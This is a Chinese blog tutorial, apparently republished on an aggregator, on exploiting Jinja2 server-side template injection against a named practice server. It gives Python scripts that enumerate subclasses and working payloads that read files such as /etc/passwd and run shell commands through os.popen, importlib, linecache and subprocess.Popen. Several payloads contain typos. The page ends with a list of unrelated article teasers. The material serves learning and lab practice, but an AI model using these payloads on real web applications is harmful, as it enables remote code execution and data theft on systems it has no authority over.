ssti 常见注入模块利用

news2024/11/17 12:24:22

文件读取

python脚本(这里以重庆橙子科技jinjia2模板注入为例)

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)
    except:
        pass

 

使用hackbar测试一下

使用bp,看不到passwd,直接读取flag

get_data是 FileLoader 对象的一个方法,用于获取指定文件的内容。

利用时第一个参数为 0 ,第二个参数为文件路径即可。

内建函数eval执行命令

内建函数: python在执行脚本时自动加载的函数

python脚本查看可利用内建函数eval的模块(还是以jinjia2为例)

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name":
"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)
    except:
        pass

利用内建函数 eval() 和 popen() 执行系统命令

__builtins__: 提供对Python的所有“内置“标识符的直接访问。

eval(): 计算字符串表达式的值。

__import__: 加载 os 模块。

popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。

popen() 执行命令后没有直接回显,最后加个 read() 函数读取回显内容

os模块执行命令

在其他函数中直接调用os模块

通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url for,调用os
{{url_for.__globals__.os.popen.('whoami').read()}}

在已经加载os模块的子类里直接调用os模块
{{".__clases__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l/opt").read()}}

python脚本查找已经加载os模块的子类

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name": 
"{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "os.py" in response.text:
            print(i)

 

构造paylaod

name={{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['os'].popen("ls -l /opt").read()}}

 

importlib类执行命令

可以加载第三方库,使用load module加载os

python脚本查找 frozen importlib.Builtinlmporter

import requests
url = ''
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "_frozen_importlib.BuiltinImporter" in response.text:
            print(i)

 

name={{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

 

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

python脚本查找linecache

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "linecache" in response.text:
            print(i)

name={{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}

 

subprocess.Popen 类执行命令 

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn*。—Python 文档

简单地说,这个模块也可以执行 shell 命令。

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "subprocess.Popen" in response.text:
            print(i)

 

name={{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

shell=True:这是一个参数,指示在执行命令时使用系统的命令解释器(如 /bin/sh 或 cmd.exe)。

stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到subprocess.PIPE,以便在后续步骤中获取输出。

.communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。

[0]:这是获取 .communicate() 返回的元组中的第一个元素,即子进程的标准输出。

.strip():这是一个字符串方法,用于去除字符串两端的空白字符。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1076922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

面试经典 150 题 22 —(数组 / 字符串)— 28. 找出字符串中第一个匹配项的下标

28. 找出字符串中第一个匹配项的下标 方法一 class Solution { public:int strStr(string haystack, string needle) {if(haystack.find(needle) string::npos){return -1;}return haystack.find(needle);} };方法二 class Solution { public:int strStr(string haystack, s…

TensorFlow学习:使用官方模型进行图像分类、使用自己的数据对模型进行微调

前言 上一篇文章 TensorFlow案例学习:对服装图像进行分类 中我们跟随官方文档学习了如何进行预处理数据、构建模型、训练模型等。但是对于像我这样的业余玩家来说训练一个模型是非常困难的。所以为什么我们不站在巨人的肩膀上,使用已经训练好了的成熟模…

《向量数据库指南》——向量数据库 有必要走向专业化吗?

向量数据库 有必要走向专业化吗? 向量数据库系统的诞生,来源于具体业务需求——想要高效处理海量的向量数据,就需要更细分、更专业的数据基础设施,为向量构建专门的数据库处理系统。 但这种路径是必须的吗? 从产品层面讲,如果传统数据库厂商不单独研发向量数据库,那么…

电脑系统升级Win11变卡顿?如何解决!

关于Win11系统更新的相关问题,Win11每一次更新之后会给大家带来更多功能!但是每次更新也可能会出现掉驱动、无法打开应用、甚至是蓝屏或者进不去主页等问题!所以为了帮助大家预防这些更新出现的后遗症,分享了一些小的方法&#xf…

JavaScript 编写一个 数值转换函数 万以后简化 例如1000000 展示为 100万 万以下原来数值返回

很多时候 我们看一些系统 能够比较只能的展示过大的数值 例如 到万了 他就能展示出 多少 多少万 看着很奇妙 但实现确实非常的基础 我们只需要一个这样的函数 //数值转换函数 convertNumberToString(num) {//如果传入的数值 不是数字 且也无法转为数字 直接扔0回去if (!parse…

学习网络安全得多少费用?网络安全入门了解

前言 网络安全是指对网络系统、硬件、软件和系统数据的保护。不因偶然或者其它原因导致破坏、更改和数据泄露情况。确保网络安全,防止网站被攻击、系统被病毒感染等。随着网络的快速发展,越来越多的用户和公司认识到网络安全的重要性,许多人…

云原生Kubernetes:Rancher管理k8s集群

目录 一、理论 1.Rancher 2.Rancher 安装及配置 二、实验 1.Rancher 安装及配置 三、问题 1. Rancher 部署监控系统报错 四、总结 一、理论 1.Rancher (1) 概念 Rancher 简介 Rancher 是一个开源的企业级多集群 Kubernetes 管理平台,实现了 Kubernetes …

持安科技何艺获中国信通院2022-2023年零信任领域标准卓越贡献者

近日,在中国信息通信研究院和中国通信标准化协会联合主办的“2023 SecGo云和软件安全大会”上,零信任办公安全明星企业持安科技创始人兼CEO何艺获评为2022-2023年度零信任领域标准卓越贡献者。 由中国信通院发布可信安全优秀个人&#xff0…

各报文段格式集合

数据链路层-- MAC帧 前导码8B:数据链路层将封装好的MAC帧交付给物理层进行发送,物理层在发送MAC帧前,还要在前面添加8字节的前导码(分为7字节的前同步码1字节的帧开始定界符)MAC地址长度6B数据长度46~1500B…

ROS 工作空间及功能包

ROS工作空间(workspace)是一个存放工程开发相关文件的文件夹。 1. 什么是ROS的工作空间 使用ROS实现机器人开发的主要手段是写代码,这些代码文件存放的空间就是工作空间。 工作空间(workspace)是一个用于存放工程开发…

电表采集器采集的是哪些参数?

电表采集器是一种能够远程收集电表数据的设备,通常被用于电能计量和管理。电表采集器能够通过无线通信技术,如GPRS、CDMA、3G、4G、5G等,将电表数据传输到数据中心,以便进行数据分析和处理。 电表采集器采集的参数包括以下几个方面…

naco(替代Eureka)注册中心

Nacos初步学习 Nacos 是一个开源的服务注册和配置中心,它允许您注册、注销和发现服务实例,并提供了配置管理的功能。下面是Nacos的最基础用法: 1. 服务注册和发现: 首先,您需要将您的应用程序或服务注册到Nacos中。…

Android maven could not get http://192.xx

网页流程仓库ip都能访问,android 发包出现如上提示。原来我电脑自身使用了 vpn,导致 红色框内的代理打开了,注释点问题解决。android studio有自身的代理文件,不依赖windows系统的代理配置,即使set http_proxy也是无效…

【深入MaxCompute】人力家:借助Information Schema合理治理费用

简介: 人力家是由阿里钉钉和人力窝共同投资成立,帮助客户进入人力资源数字化,依靠产品技术创新驱动战略的互联网公司。本文将为大家带来MaxCompute与人力家客户案例深度解读。 作者:石玉阳 人力家 高级数据研发工程师 业务简介 …

“益路同行”栏目人物专访 第0010期——中国公益万里行发起人李现

中国善网在本届(第十届)慈展会上特别推出了《益路同行》采访栏目,《益路同行》栏目旨在寻觅公益之路上同行者的故事,挖掘公益更深层次的内涵,探索新时代公益发展道路。希望公益企业、人物、故事被更多人看到&#xff0…

Spring Boot项目在Windows上的自启动策略与Windows自动登录配置

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

腾讯发布《2023数字经济高质量发展报告》

导读 2018年9月30日,腾讯宣布“扎根消费互联网,拥抱产业互联网”的全新战略,并进行历史上第三次大规模组织变革,成立云与智慧产业事业群(简称CSIG),开启ToB领域的深耕。也是在这一年&#xff…

有什么好用的站内搜索SaaS能帮网站实现站内搜索功能?

在当今数字时代,拥有一个用户友好且高效的网站对于企业在线发展至关重要。一个能够极大增强用户体验的关键功能就是网站内部搜索能力。这正是站内搜索SaaS发挥作用的地方。 站内搜索SaaS是指一种基于云的软件解决方案,使网站能够实现内部搜索功能。借助…

设计模式 - 迭代器模式

目录 一. 前言 二. 实现 三. 优缺点 一. 前言 迭代器模式是一种行为型设计模式,它提供了一种统一的方式来访问集合对象中的元素,而不暴露集合内部的表示方式。简单地说,就是将遍历集合的责任封装到一个单独的对象中,我们可以按…

智能化之路:即时零售的崛起与线下商超的转型

最近两年,线下商超骤然迎来“闭店潮”,集体陷入了经营泥潭,其中包括家乐福和永辉超市,以及步步高等大型传统商超。 今年6月底,家乐福中国关闭了深圳的所有门店;8月底,家乐福关闭了广州的最后一…